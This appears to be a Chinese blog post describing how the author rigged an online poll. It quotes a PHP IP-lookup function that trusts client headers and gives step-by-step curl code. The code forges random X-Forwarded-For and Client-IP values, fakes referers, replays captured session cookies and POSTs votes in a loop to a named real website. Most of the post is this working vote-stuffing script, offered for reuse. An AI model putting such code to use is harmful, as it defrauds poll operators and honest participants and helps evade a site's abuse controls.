起因:
同事的朋友的朋友的妹妹要參加什么投票活動,想讓我幫忙刷刷票。抱着研究一下的態度就答應了。跟大家分享下刷票的思路。
思考:
首先,一般網站在做投票處理的時候,都是根據IP來判斷的。如果能偽造IP的話,就應該可以實現刷票的功能。
先看一下PHP開源項目discuz獲取IP的函數:
//獲取客戶端ip function get_ip() { if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $ip = getenv('REMOTE_ADDR'); } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $ip = $_SERVER['REMOTE_ADDR']; } return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : ''; }
代碼中首先獲取的是HTTP_CLIENT_IP這個變量,而這個變量確實是可以偽造的,這就需要用到php的curl擴展。
百度一下curl的用法,最簡單使用curl偽造ip代碼如下:
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://localhost/2.php"); $a = rand(1, 255); $b = rand(1, 255); $c = rand(1, 50); $d = rand(1, 255); $ip = "$a.$b.$c.$d";//動態生成IP地址 curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip)); //構造IP curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com "); //構造來路 curl_setopt($ch, CURLOPT_HEADER, 1); $out = curl_exec($ch); curl_close($ch);
這樣,通過curl我們就可以偽造ip了,似乎刷票的理論基礎我們已經明白了,那么現在開始用這套代碼來實現刷票。
第一次嘗試:
首先先正常投一次票,如圖:

我們根據火狐的firebug可以看到,投票的操作用到了ajax的post提交,參數分別有tid和type。那么我們之前的那段代碼是針對get方式提交的,看來我們需要修改一下代碼,讓curl支持post提交方式。修改的代碼如下:
$url = "http://www.officeshow.cn/vote.php"; $a = rand(1, 255); $b = rand(1, 255); $c = rand(1, 50); $d = rand(1, 255); $ip = "$a.$b.$c.$d"; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip)); //構造IP curl_setopt($ch, CURLOPT_REFERER, "http://www.gosoa.com.cn/ "); //構造來路 curl_setopt($ch, CURLOPT_HEADER, 0); $out = curl_exec($ch); curl_close($ch);exit;
搞定上面的代碼后,讓我們來試試刷票吧!運行這個php文件,得出的結果卻是失敗!那么我們繼續探索。
成功搞定:
有很多網站會有cookie和session來存放用戶信息,不管用那種,本地的話都會放到cookie里。雖然這個投票並不需要登錄,但是有很多網站都會打開就有cookie信息。查看一下這個站點的cookie,博主用的是火狐。

發現這個域下有兩個cookie值,bdshare_firstime和PHPSESSID。火狐我們可以得到這兩個cookie值,那么我們通過curl把這兩個cookie值傳過去,那么服務器就會認為這是正常的請求,而我們的刷票功能也就完成了。嘗試下,代碼如下:
$url = "http://www.officeshow.cn/vote.php"; $a = rand(1, 255); $b = rand(1, 255); $c = rand(1, 50); $d = rand(1, 255); $ip = "$a.$b.$c.$d"; $cookie = "bdshare_firstime=1367826762029; PHPSESSID=15i8mvcir3nlq9prtl63q6lbh4";//設置cookie值 $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip, 'Cookie:'.$cookie)); //構造IP curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com "); //構造來路 curl_setopt($ch, CURLOPT_POSTFIELDS,'tid=2200&type=1'); curl_setopt($ch, CURLOPT_HEADER, 0); ob_start(); $out = curl_exec($ch); $result = ob_get_contents() ; ob_end_clean(); curl_close($ch); echo json_encode(getd('id'));exit;
運行代碼,成功!
批量操作:
刷票的代碼已經搞定,下面就是批量操作。批量操作其實一個for循環就可以,但是一個請求瀏覽器有最大時間的限制,這樣很不方便。
我用到的是用ajax來循環請求,這樣刷到多少票都可以了。
延伸:
在完成這次刷票功能,最關鍵的是把cookie也傳過去了。其實在請求的時候,可以把瀏覽器正常請求的頭信息都發送過去,因為你無法判斷服務器那邊到底設置了什么樣的判斷。通過firebug就可以看到頭信息。然后用curl把所有的頭信息都傳過去。

curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie:stQE_45b4_saltkey=njAO8S3G; stQE_45b4_lastvisit=1367823144; stQE_45b4_visitedfid=62D66D79D63; pgv_pvi=9600479659; __utma=29738476.2090210183.1367826762.1367826762.1367826762.1; __utmz=29738476.1367826762.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); bdshare_firstime=1367826762029; stQE_45b4_sid=DG6gx1; stQE_45b4_lastact=1368695577%09forum.php%09viewthread; stQE_45b4_viewid=tid_2200; PHPSESSID=b681ua42r0gpst2gvth6irh9a7; pgv_info=ssi=s2710992270; stQE_45b4_sendmail=1; stQE_45b4_forum_lastvisit=D_63_1368695475D_2_1368695494", 'Host:'.'bbs.officeshow.cn', "Referer:http://bbs.officeshow.cn/forum.php?mod=viewthread&tid=2200", "X-Requested-With: XMLHttpRequest", 'X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip, 'X-Requested-With:XMLHttpRequest'));
后記:
如果服務器端判斷IP使用的是$_SERVER['REMOTE_ADDR']的話,那么我們這種刷票辦法就沒有效果了。
